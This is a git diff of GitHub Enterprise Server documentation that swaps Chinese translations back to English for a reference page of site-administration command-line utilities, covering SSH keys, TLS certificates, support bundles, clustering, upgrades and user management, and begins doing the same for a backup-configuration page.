```shell ghe-org-admin-promote -o ORGANIZATION ``` -将所有组织中的组织所有者权限授予所有站点管理员 +Give organization owner privileges in all organizations to all site admins ```shell ghe-org-admin-promote -a @@ -271,7 +270,7 @@ ghe-org-admin-promote -a ### ghe-reactivate-admin-login -在 10 分钟内登录尝试失败 10 次后，使用此命令可立即解锁 {% data variables.enterprise.management_console %}。 +Use this command to immediately unlock the {% data variables.enterprise.management_console %} after 10 failed login attempts in the span of 10 minutes. ```shell $ ghe-reactivate-admin-login @@ -282,18 +281,18 @@ $ ghe-reactivate-admin-login ### ghe-resque-info -此实用程序会显示关于后台作业（活动作业和队列中的作业）的信息， 它提供的作业计数与每个页面顶部管理员统计信息栏中的计数相同。 +This utility displays information on background jobs, both active and in the queue. It provides the same job count numbers as the admin stats bar at the top of every page. -此实用程序可以帮助确定 Resque 服务器在处理后台作业时是否会出现问题。 下列任一场景均可能指示 Resque 存在问题： +This utility can help identify whether the Resque server is having problems processing background jobs. Any of the following scenarios might be indicative of a problem with Resque: -* 后台作业数增加，而活动作业数保持不变。 -* 事件源未更新。 -* Web 挂钩未触发。 -* Web 界面在 Git 推送后未更新。 +* The number of background jobs is increasing, while the active jobs remain the same. +* The event feeds are not updating. +* Webhooks are not being triggered. +* The web interface is not updating after a Git push. -如果怀疑 Resque 出现故障，请联系 {% data variables.contact.contact_ent_support %} 获取帮助。 +If you suspect Resque is failing, contact {% data variables.contact.contact_ent_support %} for help. -使用此命令，您还可以暂停或恢复队列中的作业。 +With this command, you can also pause or resume jobs in the queue. ```shell $ ghe-resque-info @@ -307,26 +306,26 @@ $ ghe-resque-info -r QUEUE ### ghe-saml-mapping-csv -此实用程序可帮助映射 SAML 记录。 +This utility can help map SAML records. -为 {% data variables.product.product_name %} 用户创建包含所有 SAML 映射的 CSV 文件： +To create a CSV file containing all the SAML mapping for your {% data variables.product.product_name %} users: ```shell $ ghe-saml-mapping-csv -d ``` -要使用新值执行更新 SAML 映射的排演： +To perform a dry run of updating SAML mappings with new values: ```shell $ ghe-saml-mapping-csv -u -n -f /path/to/file ``` -要使用新值更新 SAML 映射： +To update SAML mappings with new values: ```shell $ ghe-saml-mapping-csv -u -f /path/to/file ``` ### ghe-service-list -此实用程序会列出您的设备上已启动或停止（正在运行或等待）的服务。 +This utility lists all of the services that have been started or stopped (are running or waiting) on your appliance. ```shell $ ghe-service-list @@ -353,7 +352,7 @@ stop/waiting ### ghe-set-password -使用 `ghe-set-password`，您可以设置新密码，在 [{% data variables.enterprise.management_console %}](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-management-console) 中进行身份验证。 +With `ghe-set-password`, you can set a new password to authenticate into the [{% data variables.enterprise.management_console %}](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-management-console). ```shell ghe-set-password @@ -361,19 +360,19 @@ ghe-set-password ### ghe-ssh-check-host-keys -此实用程序会对照已知泄露的 SSH 主机密钥检查现有的 SSH 主机密钥。 +This utility checks the existing SSH host keys against the list of known leaked SSH host keys. ```shell $ ghe-ssh-check-host-keys ``` -如果发现主机密钥泄露，实用程序会以状态 `1` 退出并显示以下消息： +If a leaked host key is found the utility exits with status `1` and a message: ```shell > One or more of your SSH host keys were found in the blacklist. > Please reset your host keys using ghe-ssh-roll-host-keys. ``` -如果未发现主机密钥泄露，实用程序会以状态 `0` 退出并显示以下消息： +If a leaked host key was not found, the utility exits with status `0` and a message: ```shell > The SSH host keys were not found in the SSH host key blacklist. > No additional steps are needed/recommended at this time. @@ -381,7 +380,7 @@ $ ghe-ssh-check-host-keys ### ghe-ssh-roll-host-keys -此实用程序会滚动 SSH 主机密钥并将其替换为新生成的密钥。 +This utility rolls the SSH host keys and replaces them with newly generated keys. ```shell $ sudo ghe-ssh-roll-host-keys @@ -395,7 +394,7 @@ existing keys in /etc/ssh/ssh_host_* and generate new ones. [y/N] ### ghe-ssh-weak-fingerprints -此实用程序会返回存储在 {% data variables.product.prodname_enterprise %} 设备上的已知弱 SSH 密钥的报告。 您可以选择批量撤销用户密钥。 此实用程序将报告弱系统密钥，您必须在 [{% data variables.enterprise.management_console %}](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-management-console) 中手动撤销这些密钥。 +This utility returns a report of known weak SSH keys stored on the {% data variables.product.prodname_enterprise %} appliance. You can optionally revoke user keys as a bulk action. The utility will report weak system keys, which you must manually revoke in the [{% data variables.enterprise.management_console %}](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-management-console). ```shell # Print a report of weak user and system SSH keys @@ -407,9 +406,9 @@ $ ghe-ssh-weak-fingerprints --revoke ### ghe-ssl-acme -此实用程序允许您在 {% data variables.product.prodname_enterprise %} 设备上安装 Let's Encrypt 证书。 更多信息请参阅“[配置 TLS](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-tls)”。 +This utility allows you to install a Let's Encrypt certificate on your {% data variables.product.prodname_enterprise %} appliance. For more information, see "[Configuring TLS](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-tls)." -您可以使用 `-x` 标志来删除 ACME 配置。 +You can use the `-x` flag to remove the ACME configuration. ```shell ghe-ssl-acme -e @@ -417,11 +416,11 @@ ghe-ssl-acme -e ### ghe-ssl-ca-certificate-install -此实用程序允许您在 {% data variables.product.prodname_enterprise %} 服务器上安装自定义根 CA 证书。 证书必须采用 PEM 格式。 此外，如果您的证书提供者在一个文件中包含多个 CA 证书，则必须将其拆分到多个单独文件中，随后再将这些文件逐个传递到 `ghe-ssl-ca-certificate-install`。 +This utility allows you to install a custom root CA certificate on your {% data variables.product.prodname_enterprise %} server. The certificate must be in PEM format. Furthermore, if your certificate provider includes multiple CA certificates in a single file, you must separate them into individual files that you then pass to `ghe-ssl-ca-certificate-install` one at a time. -运行此实用程序可添加证书链进行 S/MIME 提交签名验证。 更多信息请参阅“[关于提交签名验证](/enterprise/{{ currentVersion }}/user/articles/about-commit-signature-verification/)”。 +Run this utility to add a certificate chain for S/MIME commit signature verification. For more information, see "[About commit signature verification](/enterprise/{{ currentVersion }}/user/articles/about-commit-signature-verification/)." -如果 {% data variables.product.product_location %} 无法连接到另一台服务器的原因是后者使用自签名 SSL 证书或没有为其提供必要 CA 包的 SSL 证书，请运行此实用程序。 确认这种情况的一种方法是通过 {% data variables.product.product_location %} 运行 `openssl s_client -connect host:port -verify 0 -CApath /etc/ssl/certs`。 如果可以验证远程服务器的 SSL 证书，`SSL-Session` 的返回代码应为 0，如下所示。 +Run this utility when {% data variables.product.product_location %} is unable to connect to another server because the latter is using a self-signed SSL certificate or an SSL certificate for which it doesn't provide the necessary CA bundle. One way to confirm this is to run `openssl s_client -connect host:port -verify 0 -CApath /etc/ssl/certs` from {% data variables.product.product_location %}. If the remote server's SSL certificate can be verified, your `SSL-Session` should have a return code of 0, as shown below. ``` SSL-Session: @@ -436,7 +435,7 @@ SSL-Session: Verify return code: 0 (ok) ``` -另一方面，如果*无法<0>验证远程服务器的 SSL 证书，`SSL-Session` 的返回代码应为非零值：

                    +If, on the other hand, the remote server's SSL certificate can *not* be verified, your `SSL-Session` should have a nonzero return code: ``` SSL-Session: @@ -451,9 +450,9 @@ SSL-Session: Verify return code: 27 (certificate not trusted) ``` -您可以将以下附加选项与实用程序结合使用： -- `-r` 标志允许您卸载 CA 证书。 -- `-h` 标志可显示更多用法信息。 +You can use these additional options with the utility: +- The `-r` flag allows you to uninstall a CA certificate. +- The `-h` flag displays more usage information. ```shell ghe-ssl-ca-certificate-install -c /path/to/certificate @@ -461,9 +460,9 @@ ghe-ssl-ca-certificate-install -c /path/to/certificate ### ghe-ssl-generate-csr -此实用程序允许您生成可与商业或私有证书颁发机构共享的私钥和证书签名请求 (CSR)，以获取可与您的实例配合使用的有效证书。 更多信息请参阅“[配置 TLS](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-tls)”。 +This utility allows you to generate a private key and certificate signing request (CSR), which you can share with a commercial or private certificate authority to get a valid certificate to use with your instance. For more information, see "[Configuring TLS](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-tls)." -如需获取关于此命令的更多信息或附加选项，请使用 `-h` 标志。 +For more information about this command or for additional options, use the `-h` flag. ```shell ghe-ssl-generate-csr @@ -471,7 +470,7 @@ ghe-ssl-generate-csr ### ghe-storage-extend -某些平台需要使用此脚本扩展用户量。 更多信息请参阅“[增加存储容量](/enterprise/admin/guides/installation/increasing-storage-capacity/)”。 +Some platforms require this script to expand the user volume. For more information, see "[Increasing Storage Capacity](/enterprise/admin/guides/installation/increasing-storage-capacity/)". ```shell $ ghe-storage-extend @@ -479,7 +478,7 @@ $ ghe-storage-extend ### ghe-version -此实用程序会打印 {% data variables.product.product_location %} 的版本、平台和内部版本号。 +This utility prints the version, platform, and build of {% data variables.product.product_location %}. ```shell $ ghe-version @@ -487,26 +486,26 @@ $ ghe-version ### ghe-webhook-logs -此实用程序会返回 web 挂钩交付日志，供管理员审查和确定任何问题。 +This utility returns webhook delivery logs for administrators to review and identify any issues. ```shell ghe-webhook-logs ``` -要显示过去一天所有失败的挂钩交付： +To show all failed hook deliveries in the past day: {% ifversion ghes %} ```shell ghe-webhook-logs -f -a YYYY-MM-DD ``` -日期格式应为 `YYYY-MM-DD`、`YYYY-MM-DD HH:MM:SS` 或 `YYYY-MM-DD HH:MM:SS (+/-) HH:M`。 +The date format should be `YYYY-MM-DD`, `YYYY-MM-DD HH:MM:SS`, or `YYYY-MM-DD HH:MM:SS (+/-) HH:M`. {% else %} ```shell ghe-webhook-logs -f -a YYYYMMDD ``` {% endif %} -要显示交付的完整挂钩有效负载、结果以及任何异常： +To show the full hook payload, result, and any exceptions for the delivery: {% ifversion ghes %} ```shell ghe-webhook-logs -g delivery-guid @@ -517,11 +516,11 @@ ghe-webhook-logs -g delivery-guid -v ``` {% endif %} -## 集群 +## Clustering ### ghe-cluster-status -在 {% data variables.product.prodname_ghe_server %} 的集群部署中检查节点和服务的运行状况。 +Check the health of your nodes and services in a cluster deployment of {% data variables.product.prodname_ghe_server %}. ```shell $ ghe-cluster-status @@ -529,26 +528,26 @@ $ ghe-cluster-status ### ghe-cluster-support-bundle -此实用程序创建的支持包 tarball 包含采用 Geo-replication 或集群配置的各个节点中的重要日志。 +This utility creates a support bundle tarball containing important logs from each of the nodes in either a Geo-replication or Clustering configuration. -默认情况下，此命令会在 */tmp* 中创建 tarball，但为了便于通过 SSH 进行传输，您也可以通过 `cat` 将打包文件创建到 `STDOUT` 中。 在 Web UI 未响应或从 */setup/support* 下载支持包失败的情况下，您可以使用此方法。 如果要生成包含旧日志的*扩展*包，则必须使用此命令。 您还可以使用此命令将集群支持包直接上传到 {% data variables.product.prodname_enterprise %} Support。 +By default, the command creates the tarball in */tmp*, but you can also have it `cat` the tarball to `STDOUT` for easy streaming over SSH. This is helpful in the case where the web UI is unresponsive or downloading a support bundle from */setup/support* doesn't work. You must use this command if you want to generate an *extended* bundle, containing older logs. You can also use this command to upload the cluster support bundle directly to {% data variables.product.prodname_enterprise %} support. -要创建标准捆绑包： +To create a standard bundle: ```shell $ ssh -p 122 admin@hostname -- 'ghe-cluster-support-bundle -o' > cluster-support-bundle.tgz ``` -要创建扩展捆绑包： +To create an extended bundle: ```shell $ ssh -p 122 admin@hostname -- 'ghe-cluster-support-bundle -x -o' > cluster-support-bundle.tgz ``` -要将捆绑包发送至 {% data variables.contact.github_support %}： +To send a bundle to {% data variables.contact.github_support %}: ```shell $ ssh -p 122 admin@hostname -- 'ghe-cluster-support-bundle -u' ``` -要将捆绑包发送至 {% data variables.contact.github_support %} 并关联捆绑包与事件单： +To send a bundle to {% data variables.contact.github_support %} and associate the bundle with a ticket: ```shell $ ssh -p 122 admin@hostname -- 'ghe-cluster-support-bundle -t ticket-id' ``` @@ -556,7 +555,7 @@ $ ssh -p 122 admin@hostname -- 'ghe-cluster-support-bundle -t ticke {% ifversion ghes %} ### ghe-cluster-failover -从主动群集节点故障转移至被动群集节点。 更多信息请参阅“[发起到副本群集的故障转移](/enterprise/admin/enterprise-management/initiating-a-failover-to-your-replica-cluster)”。 +Fail over from active cluster nodes to passive cluster nodes. For more information, see "[Initiating a failover to your replica cluster](/enterprise/admin/enterprise-management/initiating-a-failover-to-your-replica-cluster)." ```shell ghe-cluster-failover @@ -565,43 +564,43 @@ ghe-cluster-failover ### ghe-dpages -此实用程序可用于管理分配的 {% data variables.product.prodname_pages %} 服务器。 +This utility allows you to manage the distributed {% data variables.product.prodname_pages %} server. ```shell ghe-dpages ``` -要显示仓库位置和健康状态摘要： +To show a summary of repository location and health: ```shell ghe-dpages status ``` -要在撤出集群节点之前撤出 {% data variables.product.prodname_pages %} 存储服务： +To evacuate a {% data variables.product.prodname_pages %} storage service before evacuating a cluster node: ```shell ghe-dpages evacuate pages-server-UUID ``` ### ghe-spokes -此实用程序允许您管理分布式 git 服务器上各仓库的三个副本。 +This utility allows you to manage the three copies of each repository on the distributed git servers. ```shell ghe-spokes ``` -要显示仓库位置和健康状态摘要： +To show a summary of repository location and health: ```shell ghe-spokes status ``` -要显示存储仓库的服务器： +To show the servers in which the repository is stored: ```shell ghe-spokes route ``` -要撤出集群节点上的存储服务： +To evacuate storage services on a cluster node: ```shell ghe-spokes server evacuate git-server-UUID @@ -609,7 +608,7 @@ ghe-spokes server evacuate git-server-UUID ### ghe-storage -此实用程序允许您在撤出集群节点之前撤出所有存储服务。 +This utility allows you to evacuate all storage services before evacuating a cluster node. ```shell ghe-storage evacuate storage-server-UUID @@ -619,7 +618,7 @@ ghe-storage evacuate storage-server-UUID ### ghe-btop -当前 Git 操作的类 `top` 接口。 +A `top`-like interface for current Git operations. ```shell ghe-btop [ | --help | --usage ] @@ -627,7 +626,7 @@ ghe-btop [ | --help | --usage ] #### ghe-governor -此工具有助于分析 Git 流量。 它查询位于 `/data/user/gitmon` 下的 _Governor_ 数据文件。 {% data variables.product.company_short %} 为每个文件保存一小时的数据，保留两周。 更多信息请参阅 {% data variables.product.prodname_gcf %} 中的[使用 Governor 分析 Git 流量](https://github.community/t/analyzing-git-traffic-using-governor/13516)。 +This utility helps to analyze Git traffic. It queries _Governor_ data files, located under `/data/user/gitmon`. {% data variables.product.company_short %} holds one hour of data per file, retained for two weeks. For more information, see [Analyzing Git traffic using Governor](https://github.community/t/analyzing-git-traffic-using-governor/13516) in {% data variables.product.prodname_gcf %}. ```bash ghe-governor [options] @@ -652,7 +651,7 @@ Try ghe-governor --help for more information on the arguments each ### ghe-repo -此实用程序允许您切换到仓库的目录并以 `git` 用户身份打开交互式 shell。 您可以通过 `git-*` 或 `git-nw-*` 等命令对仓库执行手动检查或维护。 +This utility allows you to change to a repository's directory and open an interactive shell as the `git` user. You can perform manual inspection or maintenance of a repository via commands like `git-*` or `git-nw-*`. ```shell ghe-repo username/reponame @@ -660,64 +659,64 @@ ghe-repo username/reponame ### ghe-repo-gc -此实用程序会手动重新打包仓库网络，以优化包存储。 如果仓库较大，运行此命令有助于减小其整体大小。 {% data variables.product.prodname_enterprise %} 会在与仓库网络交互的过程中自动运行此命令。 +This utility manually repackages a repository network to optimize pack storage. If you have a large repository, running this command may help reduce its overall size. {% data variables.product.prodname_enterprise %} automatically runs this command throughout your interaction with a repository network. -您可以添加可选的 `--prune` 参数来移除不是从分支、标记或其他任何 ref 引用的不可达 Git 对象。 此方法特别适用于立即移除[之前泄露的敏感信息](/enterprise/user/articles/remove-sensitive-data/)。 +You can add the optional `--prune` argument to remove unreachable Git objects that aren't referenced from a branch, tag, or any other ref. This is particularly useful for immediately removing [previously expunged sensitive information](/enterprise/user/articles/remove-sensitive-data/). ```shell ghe-repo-gc username/reponame ``` -## 导入和导出 +## Import and export ### ghe-migrator -`ghe-migrator` 属于高保真工具，可帮助用户从一个 GitHub 实例迁移到另一个实例。 您可以整合实例或将组织、用户、团队和仓库从 GitHub.com 移至 {% data variables.product.prodname_enterprise %}。 +`ghe-migrator` is a hi-fidelity tool to help you migrate from one GitHub instance to another. You can consolidate your instances or move your organization, users, teams, and repositories from GitHub.com to {% data variables.product.prodname_enterprise %}. -更多信息请参阅[迁移用户、组织和仓库数据](/enterprise/admin/guides/migrations/)上的指南。 +For more information, please see our guide on [migrating user, organization, and repository data](/enterprise/admin/guides/migrations/). ### git-import-detect -给定一个 URL，检测哪种类型的源控制管理系统位于另一端。 在手动导入过程中，此信息很可能是已知的，但在自动执行的脚本中非常有用。 +Given a URL, detect which type of source control management system is at the other end. During a manual import this is likely already known, but this can be very useful in automated scripts. ```shell git-import-detect ``` ### git-import-hg-raw -此实用程序可将 Mercurial 仓库导入至此 Git 仓库。 更多信息请参阅“[从第三方版本控制系统导入数据](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)。” +This utility imports a Mercurial repository to this Git repository. For more information, see "[Importing data from third party version control systems](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)." ```shell git-import-hg-raw ``` ### git-import-svn-raw -此实用程序可将 Subversion 历史记录和文件数据导入至 Git 分支。 这属于直接复制树，会忽略任何主干或分支差异。 更多信息请参阅“[从第三方版本控制系统导入数据](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)。” +This utility imports Subversion history and file data into a Git branch. This is a straight copy of the tree, ignoring any trunk or branch distinction. For more information, see "[Importing data from third party version control systems](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)." ```shell git-import-svn-raw ``` ### git-import-tfs-raw -此实用程序可从 Team Foundation Version Control (TFVC) 导入。 更多信息请参阅“[从第三方版本控制系统导入数据](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)。” +This utility imports from Team Foundation Version Control (TFVC). For more information, see "[Importing data from third party version control systems](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)." ```shell git-import-tfs-raw ``` ### git-import-rewrite -此实用程序可重写导入的仓库。 这样，您将有机会重命名作者，对于 Subversion 和 TFVC，可基于文件夹生成 Git 分支。 更多信息请参阅“[从第三方版本控制系统导入数据](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)。” +This utility rewrites the imported repository. This gives you a chance to rename authors and, for Subversion and TFVC, produces Git branches based on folders. For more information, see "[Importing data from third party version control systems](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)." ```shell git-import-rewrite ``` -## 支持 +## Support ### ghe-diagnostics -此实用程序会执行各项检查并收集关于安装的信息，您可以将此类信息发送给支持团队，以帮助诊断您遇到的问题。 +This utility performs a variety of checks and gathers information about your installation that you can send to support to help diagnose problems you're having. -目前，此实用程序的输出与下载 {% data variables.enterprise.management_console %} 中的诊断信息类似，但会逐渐增加一些 Web UI 中未提供的其他改进。 更多信息请参阅“[创建和共享诊断文件](/enterprise/admin/guides/enterprise-support/providing-data-to-github-support#creating-and-sharing-diagnostic-files)”。 +Currently, this utility's output is similar to downloading the diagnostics info in the {% data variables.enterprise.management_console %}, but may have additional improvements added to it over time that aren't available in the web UI. For more information, see "[Creating and sharing diagnostic files](/enterprise/admin/guides/enterprise-support/providing-data-to-github-support#creating-and-sharing-diagnostic-files)." ```shell ghe-diagnostics @@ -726,26 +725,26 @@ ghe-diagnostics ### ghe-support-bundle {% data reusables.enterprise_enterprise_support.use_ghe_cluster_support_bundle %} -此实用程序会创建一个支持包 tarball，其中包含实例中的重要日志。 +This utility creates a support bundle tarball containing important logs from your instance. -默认情况下，此命令会在 */tmp* 中创建 tarball，但为了便于通过 SSH 进行传输，您也可以通过 `cat` 将打包文件创建到 `STDOUT` 中。 在 Web UI 未响应或从 */setup/support* 下载支持包失败的情况下，您可以使用此方法。 如果要生成包含旧日志的*扩展*包，则必须使用此命令。 您还可以使用此命令将支持包直接上传到 {% data variables.product.prodname_enterprise %} Support。 +By default, the command creates the tarball in */tmp*, but you can also have it `cat` the tarball to `STDOUT` for easy streaming over SSH. This is helpful in the case where the web UI is unresponsive or downloading a support bundle from */setup/support* doesn't work. You must use this command if you want to generate an *extended* bundle, containing older logs. You can also use this command to upload the support bundle directly to {% data variables.product.prodname_enterprise %} support. -要创建标准捆绑包： +To create a standard bundle: ```shell $ ssh -p 122 admin@hostname -- 'ghe-support-bundle -o' > support-bundle.tgz ``` -要创建扩展捆绑包： +To create an extended bundle: ```shell $ ssh -p 122 admin@hostname -- 'ghe-support-bundle -x -o' > support-bundle.tgz ``` -要将捆绑包发送至 {% data variables.contact.github_support %}： +To send a bundle to {% data variables.contact.github_support %}: ```shell $ ssh -p 122 admin@hostname -- 'ghe-support-bundle -u' ``` -要将捆绑包发送至 {% data variables.contact.github_support %} 并关联捆绑包与事件单： +To send a bundle to {% data variables.contact.github_support %} and associate the bundle with a ticket: ```shell $ ssh -p 122 admin@hostname -- 'ghe-support-bundle -t ticket-id' @@ -753,32 +752,32 @@ $ ssh -p 122 admin@hostname -- 'ghe-support-bundle -t ticket-idpath/to/your/file -t ticket-id ``` -要通过 `STDIN` 上传数据并关联数据与事件单： +To upload data via `STDIN` and associating the data with a ticket: ```shell ghe-repl-status -vv | ghe-support-upload -t ticket-id -d "Verbose Replication Status" ``` -在本例中，`ghe-repl-status -vv` 会发送副本设备中的 verbose 状态信息。 您应将 `ghe-repl-status -vv` 替换为要传输到 `STDIN` 的特定数据，并将 `Verbose Replication Status` 替换为数据的简单说明。 {% data reusables.enterprise_enterprise_support.support_will_ask_you_to_run_command %} +In this example, `ghe-repl-status -vv` sends verbose status information from a replica appliance. You should replace `ghe-repl-status -vv` with the specific data you'd like to stream to `STDIN`, and `Verbose Replication Status` with a brief description of the data. {% data reusables.enterprise_enterprise_support.support_will_ask_you_to_run_command %} -## 升级 {% data variables.product.prodname_ghe_server %} +## Upgrading {% data variables.product.prodname_ghe_server %} ### ghe-upgrade -此实用程序会安装或验证升级包。 如果升级失败或中断，您还可以使用此实用程序回滚补丁版本。 更多信息请参阅“[升级 {% data variables.product.prodname_ghe_server %}”](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrading-github-enterprise-server/)。 +This utility installs or verifies an upgrade package. You can also use this utility to roll back a patch release if an upgrade fails or is interrupted. For more information, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrading-github-enterprise-server/)." -要验证升级包： +To verify an upgrade package: ```shell ghe-upgrade --verify UPGRADE-PACKAGE-FILENAME ``` -要安装升级包： +To install an upgrade package: ```shell ghe-upgrade UPGRADE-PACKAGE-FILENAME ``` @@ -787,43 +786,43 @@ ghe-upgrade UPGRADE-PACKAGE-FILENAME ### ghe-upgrade-scheduler -此实用程序可以管理已排定的升级包安装。 您可以显示、新建或移除已排定的安装。 您必须使用 cron 表达式创建日程。 更多信息请参阅 [Cron 维基百科词条](https://en.wikipedia.org/wiki/Cron#Overview)。 +This utility manages scheduled installation of upgrade packages. You can show, create new, or remove scheduled installations. You must create schedules using cron expressions. For more information, see the [Cron Wikipedia entry](https://en.wikipedia.org/wiki/Cron#Overview). -要安排新的包安装： +To schedule a new installation for a package: ```shell $ ghe-upgrade-scheduler -c "0 2 15 12 *" UPGRADE-PACKAGE-FILENAME ``` -要显示已安排的包安装： +To show scheduled installations for a package: ```shell $ ghe-upgrade-scheduler -s UPGRADE PACKAGE FILENAME > 0 2 15 12 * /usr/local/bin/ghe-upgrade -y -s UPGRADE-PACKAGE-FILENAME > /data/user/common/UPGRADE-PACKAGE-FILENAME.log 2>&1 ``` -要删除已安排的包安装： +To remove scheduled installations for a package: ```shell $ ghe-upgrade-scheduler -r UPGRADE PACKAGE FILENAME ``` ### ghe-update-check -此实用程序将检查 {% data variables.product.prodname_enterprise %} 是否有新的补丁版本可用。 如果有新的补丁版本，并且实例中有可用空间，系统将下载此包。 默认情况下，包会保存到 */var/lib/ghe-updates*。 管理员随后可[执行升级](/enterprise/admin/guides/installation/updating-the-virtual-machine-and-physical-resources/)。 +This utility will check to see if a new patch release of {% data variables.product.prodname_enterprise %} is available. If it is, and if space is available on your instance, it will download the package. By default, it's saved to */var/lib/ghe-updates*. An administrator can then [perform the upgrade](/enterprise/admin/guides/installation/updating-the-virtual-machine-and-physical-resources/). -包含下载状态的文件位于 */var/lib/ghe-updates/ghe-update-check.status*。 +A file containing the status of the download is available at */var/lib/ghe-updates/ghe-update-check.status*. -要查看最新的 {% data variables.product.prodname_enterprise %} 版本，请使用 `-i` 开关。 +To check for the latest {% data variables.product.prodname_enterprise %} release, use the `-i` switch. ```shell $ ssh -p 122 admin@hostname -- 'ghe-update-check' ``` -## 用户管理 +## User management ### ghe-license-usage -此实用程序可按 JSON 格式导出安装用户列表。 如果您的实例连接至 {% data variables.product.prodname_ghe_cloud %}，{% data variables.product.prodname_ghe_server %} 将使用此信息向 {% data variables.product.prodname_ghe_cloud %} 报告许可信息。 更多信息请参阅“[将企业帐户连接到 {% data variables.product.prodname_ghe_cloud %} ](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)”。 +This utility exports a list of the installation's users in JSON format. If your instance is connected to {% data variables.product.prodname_ghe_cloud %}, {% data variables.product.prodname_ghe_server %} uses this information for reporting licensing information to {% data variables.product.prodname_ghe_cloud %}. For more information, see "[Connecting your enterprise account to {% data variables.product.prodname_ghe_cloud %} ](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)." -默认情况下，生成的 JSON 文件中的用户列表为加密格式。 使用 `-h` 标志可获取更多选项。 +By default, the list of users in the resulting JSON file is encrypted. Use the `-h` flag for more options. ```shell ghe-license-usage @@ -831,7 +830,7 @@ ghe-license-usage ### ghe-org-membership-update -此实用程序将对您的实例中的所有成员强制实施默认的组织成员关系可见性设置。 更多信息请参阅“[配置组织成员关系的可见性](/enterprise/{{ currentVersion }}/admin/guides/user-management/configuring-visibility-for-organization-membership)”。 设置选项为 `public` 或 `private`。 +This utility will enforce the default organization membership visibility setting on all members in your instance. For more information, see "[Configuring visibility for organization membership](/enterprise/{{ currentVersion }}/admin/guides/user-management/configuring-visibility-for-organization-membership)." Setting options are `public` or `private`. ```shell ghe-org-membership-update --visibility=SETTING @@ -839,7 +838,7 @@ ghe-org-membership-update --visibility=SETTING ### ghe-user-csv -此实用程序可将所有安装用户列表导出为 CSV 格式。 CSV 文件包含电子邮件地址、用户所属类型（例如管理员、用户）、用户拥有的仓库数量、SSH 密钥数量、组织成员关系数量、上次登录的 IP 地址等。 使用 `-h` 标志可获取更多选项。 +This utility exports a list of all the users in the installation into CSV format. The CSV file includes the email address, which type of user they are (e.g., admin, user), how many repositories they have, how many SSH keys, how many organization memberships, last logged IP address, etc. Use the `-h` flag for more options. ```shell ghe-user-csv -o > users.csv @@ -847,7 +846,7 @@ ghe-user-csv -o > users.csv ### ghe-user-demote -此实用程序会将指定用户从管理员状态降级为普通用户状态。 建议使用 Web UI 执行此操作，但会在 `ghe-user-promote` 实用程序运行出错并且需要再次通过 CLI 将用户降级的情况下提供此实用程序。 +This utility demotes the specified user from admin status to that of a regular user. We recommend using the web UI to perform this action, but provide this utility in case the `ghe-user-promote` utility is run in error and you need to demote a user again from the CLI. ```shell ghe-user-demote some-user-name @@ -855,7 +854,7 @@ ghe-user-demote some-user-name ### ghe-user-promote -此实用程序会将指定用户帐户升级为站点管理员。 +This utility promotes the specified user account to a site administrator. ```shell ghe-user-promote some-user-name @@ -863,7 +862,7 @@ ghe-user-promote some-user-name ### ghe-user-suspend -此实用程序会挂起指定用户，避免他们登录、推送或从仓库拉取。 +This utility suspends the specified user, preventing them from logging in, pushing, or pulling from your repositories. ```shell ghe-user-suspend some-user-name @@ -871,7 +870,7 @@ ghe-user-suspend some-user-name ### ghe-user-unsuspend -此实用程序会取消挂起指定用户，向他们授予登录、推送以及从仓库拉取的权限。 +This utility unsuspends the specified user, granting them access to login, push, and pull from your repositories. ```shell ghe-user-unsuspend some-user-name diff --git a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance.md b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance.md index 5a8234c6a4..3b90a9cf47 100644 --- a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance.md +++ b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance.md @@ -1,6 +1,6 @@ --- -title: 在设备上配置备份 -shortTitle: 配置备份 +title: Configuring backups on your appliance +shortTitle: Configuring backups redirect_from: - /enterprise/admin/categories/backups-and-restores/ - /enterprise/admin/articles/backup-and-recovery/ @@ -14,7 +14,7 @@ redirect_from: - /enterprise/admin/installation/configuring-backups-on-your-appliance - /enterprise/admin/configuration/configuring-backups-on-your-appliance - /admin/configuration/configuring-backups-on-your-appliance -intro: '作为灾难恢复计划的一部分，您可以通过配置自动备份的方式保护 {% data variables.product.product_location %} 中的生产数据。' +intro: 'As part of a disaster recovery plan, you can protect production data on {% data variables.product.product_location %} by configuring automated backups.' versions: ghes: '*' type: how_to @@ -24,94 +24,93 @@ topics: - Fundamentals - Infrastructure --- +## About {% data variables.product.prodname_enterprise_backup_utilities %} -## 关于 {% data variables.product.prodname_enterprise_backup_utilities %} +{% data variables.product.prodname_enterprise_backup_utilities %} is a backup system you install on a separate host, which takes backup snapshots of {% data variables.product.product_location %} at regular intervals over a secure SSH network connection. You can use a snapshot to restore an existing {% data variables.product.prodname_ghe_server %} instance to a previous state from the backup host. -{% data variables.product.prodname_enterprise_backup_utilities %} 是在单独主机上安装的备份系统，会通过安全的 SSH 网络连接定期生成 {% data variables.product.product_location %} 的备份快照。 您可以使用快照将现有的 {% data variables.product.prodname_ghe_server %} 实例从备份主机还原为上一个状态。 +Only data added since the last snapshot will transfer over the network and occupy additional physical storage space. To minimize performance impact, backups are performed online under the lowest 